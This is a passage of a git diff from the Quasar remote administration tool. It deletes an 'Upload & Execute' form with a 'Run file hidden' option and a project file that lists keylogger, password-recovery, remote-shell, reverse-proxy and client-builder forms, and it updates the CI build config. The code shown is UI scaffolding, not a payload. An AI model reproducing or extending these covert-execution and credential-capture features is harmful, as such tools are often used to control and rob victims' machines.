M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e - F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq - I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== - - - \ No newline at end of file diff --git a/Server/Forms/FrmUploadAndExecute.Designer.cs b/Server/Forms/FrmUploadAndExecute.Designer.cs deleted file mode 100644 index 37c47912c..000000000 --- a/Server/Forms/FrmUploadAndExecute.Designer.cs +++ /dev/null @@ -1,119 +0,0 @@ -namespace xServer.Forms -{ - partial class FrmUploadAndExecute - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmUploadAndExecute)); - this.btnUploadAndExecute = new System.Windows.Forms.Button(); - this.chkRunHidden = new System.Windows.Forms.CheckBox(); - this.lblPath = new System.Windows.Forms.Label(); - this.txtPath = new System.Windows.Forms.TextBox(); - this.btnBrowse = new System.Windows.Forms.Button(); - this.SuspendLayout(); - // - // btnUploadAndExecute - // - this.btnUploadAndExecute.Location = new System.Drawing.Point(273, 37); - this.btnUploadAndExecute.Name = "btnUploadAndExecute"; - this.btnUploadAndExecute.Size = new System.Drawing.Size(111, 23); - this.btnUploadAndExecute.TabIndex = 4; - this.btnUploadAndExecute.Text = "Upload && Execute"; - this.btnUploadAndExecute.UseVisualStyleBackColor = true; - this.btnUploadAndExecute.Click += new System.EventHandler(this.btnUploadAndExecute_Click); - // - // chkRunHidden - // - this.chkRunHidden.AutoSize = true; - this.chkRunHidden.Location = new System.Drawing.Point(48, 41); - this.chkRunHidden.Name = "chkRunHidden"; - this.chkRunHidden.Size = new System.Drawing.Size(106, 17); - this.chkRunHidden.TabIndex = 2; - this.chkRunHidden.Text = "Run file hidden"; - this.chkRunHidden.UseVisualStyleBackColor = true; - // - // lblPath - // - this.lblPath.AutoSize = true; - this.lblPath.Location = new System.Drawing.Point(12, 9); - this.lblPath.Name = "lblPath"; - this.lblPath.Size = new System.Drawing.Size(33, 13); - this.lblPath.TabIndex = 0; - this.lblPath.Text = "Path:"; - // - // txtPath - // - this.txtPath.Location = new System.Drawing.Point(51, 6); - this.txtPath.MaxLength = 300; - this.txtPath.Name = "txtPath"; - this.txtPath.ReadOnly = true; - this.txtPath.Size = new System.Drawing.Size(333, 22); - this.txtPath.TabIndex = 1; - // - // btnBrowse - // - this.btnBrowse.Location = new System.Drawing.Point(184, 37); - this.btnBrowse.Name = "btnBrowse"; - this.btnBrowse.Size = new System.Drawing.Size(83, 23); - this.btnBrowse.TabIndex = 3; - this.btnBrowse.Text = "Browse..."; - this.btnBrowse.UseVisualStyleBackColor = true; - this.btnBrowse.Click += new System.EventHandler(this.btnBrowse_Click); - // - // FrmUploadAndExecute - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(396, 72); - this.Controls.Add(this.btnBrowse); - this.Controls.Add(this.txtPath); - this.Controls.Add(this.lblPath); - this.Controls.Add(this.chkRunHidden); - this.Controls.Add(this.btnUploadAndExecute); - this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = "FrmUploadAndExecute"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Upload & Execute []"; - this.Load += new System.EventHandler(this.FrmUploadAndExecute_Load); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.Button btnUploadAndExecute; - private System.Windows.Forms.CheckBox chkRunHidden; - private System.Windows.Forms.Label lblPath; - private System.Windows.Forms.TextBox txtPath; - private System.Windows.Forms.Button btnBrowse; - } -} \ No newline at end of file diff --git a/Server/Forms/FrmUploadAndExecute.cs b/Server/Forms/FrmUploadAndExecute.cs deleted file mode 100644 index 204ed99f7..000000000 --- a/Server/Forms/FrmUploadAndExecute.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System; -using System.IO; -using System.Windows.Forms; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Utilities; - -namespace xServer.Forms -{ - public partial class FrmUploadAndExecute : Form - { - private readonly int _selectedClients; - - public FrmUploadAndExecute(int selected) - { - _selectedClients = selected; - InitializeComponent(); - } - - private void FrmUploadAndExecute_Load(object sender, EventArgs e) - { - this.Text = WindowHelper.GetWindowTitle("Upload & Execute", _selectedClients); - chkRunHidden.Checked = UploadAndExecute.RunHidden; - } - - private void btnBrowse_Click(object sender, EventArgs e) - { - using (OpenFileDialog ofd = new OpenFileDialog()) - { - ofd.Multiselect = false; - ofd.Filter = "Executable (*.exe)|*.exe|Batch (*.bat)|*.bat"; - if (ofd.ShowDialog() == DialogResult.OK) - { - txtPath.Text = ofd.FileName; - } - } - } - - private void btnUploadAndExecute_Click(object sender, EventArgs e) - { - UploadAndExecute.FilePath = File.Exists(txtPath.Text) ? txtPath.Text : string.Empty; - UploadAndExecute.RunHidden = chkRunHidden.Checked; - - this.DialogResult = DialogResult.OK; - this.Close(); - } - } -} \ No newline at end of file diff --git a/Server/Server.csproj b/Server/Server.csproj deleted file mode 100644 index 6651ed894..000000000 --- a/Server/Server.csproj +++ /dev/null @@ -1,534 +0,0 @@ - - - - Debug - AnyCPU - 8.0.30703 - 2.0 - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D} - WinExe - Properties - xServer - Quasar - v4.0 - 512 - Client - - - xServer.Program - - - - Quasar_Server.ico - - - app.manifest - - - true - ..\Bin\Debug\ - DEBUG;TRACE - true - full - AnyCPU - false - prompt - MinimumRecommendedRules.ruleset - - - ..\Bin\Release\ - TRACE - true - true - none - AnyCPU - false - prompt - MinimumRecommendedRules.ruleset - false - - - - False - lib\Mono.Cecil.dll - - - lib\Mono.Nat.dll - - - - - - - - False - lib\Vestris.ResourceLib.dll - - - - - Component - - - - - - Component - - - - - - Component - - - Component - - - Component - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Form - - - FrmAbout.cs - - - Form - - - FrmAddToAutostart.cs - - - Form - - - FrmBuilder.cs - - - Form - - - FrmDownloadAndExecute.cs - - - Form - - - FrmFileManager.cs - - - Form - - - FrmKeylogger.cs - - - Form - - - FrmMain.cs - - - Component - - - Form - - - FrmPasswordRecovery.cs - - - Form - - - FrmRegistryEditor.cs - - - Form - - - FrmRegValueEditBinary.cs - - - Form - - - FrmRegValueEditMultiString.cs - - - Form - - - FrmRegValueEditString.cs - - - Form - - - FrmRegValueEditWord.cs - - - Form - - - FrmRemoteDesktop.cs - - - Form - - - FrmRemoteShell.cs - - - Form - - - FrmReverseProxy.cs - - - Form - - - FrmSettings.cs - - - Form - - - FrmShowMessagebox.cs - - - Form - - - FrmStartupManager.cs - - - Form - - - FrmSystemInformation.cs - - - Form - - - FrmTaskManager.cs - - - Form - - - FrmTermsOfUse.cs - - - Form - - - FrmUploadAndExecute.cs - - - Form - - - FrmVisitWebsite.cs - - - Form - - - FrmUpdate.cs - - - - - True - True - Resources.resx - - - - - FrmAbout.cs - - - FrmAddToAutostart.cs - - - FrmBuilder.cs - - - FrmDownloadAndExecute.cs - - - FrmFileManager.cs - - - FrmKeylogger.cs - - - FrmMain.cs - Designer - - - FrmPasswordRecovery.cs - - - FrmRegistryEditor.cs - - - FrmRegValueEditBinary.cs - - - FrmRegValueEditMultiString.cs - - - FrmRegValueEditString.cs - - - FrmRegValueEditWord.cs - - - FrmRemoteDesktop.cs - Designer - - - FrmRemoteShell.cs - - - FrmReverseProxy.cs - - - FrmSettings.cs - - - FrmShowMessagebox.cs - - - FrmStartupManager.cs - - - FrmSystemInformation.cs - - - FrmTaskManager.cs - - - FrmTermsOfUse.cs - - - FrmUploadAndExecute.cs - - - FrmVisitWebsite.cs - - - FrmUpdate.cs - - - ResXFileCodeGenerator - Designer - Resources.Designer.cs - - - - - SettingsSingleFileGenerator - Settings.Designer.cs - - - True - Settings.settings - True - - - - - - - - - - \ No newline at end of file diff --git a/Server/images/copy.png b/Server/images/copy.png deleted file mode 100644 index 3836257fe..000000000 Binary files a/Server/images/copy.png and /dev/null differ diff --git a/Server/images/download.png b/Server/images/download.png deleted file mode 100644 index a0c30f12b..000000000 Binary files a/Server/images/download.png and /dev/null differ diff --git a/Server/images/run.png b/Server/images/run.png deleted file mode 100644 index 2541d2bcb..000000000 Binary files a/Server/images/run.png and /dev/null differ diff --git a/Server/images/upload.png b/Server/images/upload.png deleted file mode 100644 index 5395f96c0..000000000 Binary files a/Server/images/upload.png and /dev/null differ diff --git a/Server/lib/Mono.Cecil.dll b/Server/lib/Mono.Cecil.dll deleted file mode 100644 index 4019be569..000000000 Binary files a/Server/lib/Mono.Cecil.dll and /dev/null differ diff --git a/Server/lib/Mono.Nat.dll b/Server/lib/Mono.Nat.dll deleted file mode 100644 index 664167458..000000000 Binary files a/Server/lib/Mono.Nat.dll and /dev/null differ diff --git a/Server/lib/Vestris.ResourceLib.dll b/Server/lib/Vestris.ResourceLib.dll deleted file mode 100644 index 82a65c9c0..000000000 Binary files a/Server/lib/Vestris.ResourceLib.dll and /dev/null differ diff --git a/appveyor.yml b/appveyor.yml index 28fc0cf08..c4bea759d 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -1,13 +1,20 @@ version: BUILD{build} -skip_tags: true + +image: Visual Studio 2019 +shallow_clone: true + configuration: - Debug - Release -shallow_clone: true + +before_build: + - nuget restore + build: - project: QuasarRAT.sln + project: Quasar.sln parallel: true verbosity: minimal + artifacts: - path: Bin name: binaries \ No newline at end of file diff --git a/build-debug.bat b/build-debug.bat deleted file mode 100644 index 87c0773c2..000000000 --- a/build-debug.bat +++ /dev/null @@ -1 +0,0 @@ -"%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "%~dp0\QuasarRAT.sln" /t:Build /p:Configuration=Debug \ No newline at end of file diff --git a/build-release.bat b/build-release.bat deleted file mode 100644 index 0a0d7e989..000000000 --- a/build-release.bat +++ /dev/null @@ -1 +0,0 @@ -"%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "%~dp0\QuasarRAT.sln" /t:Build /p:Configuration=Release \ No newline at end of file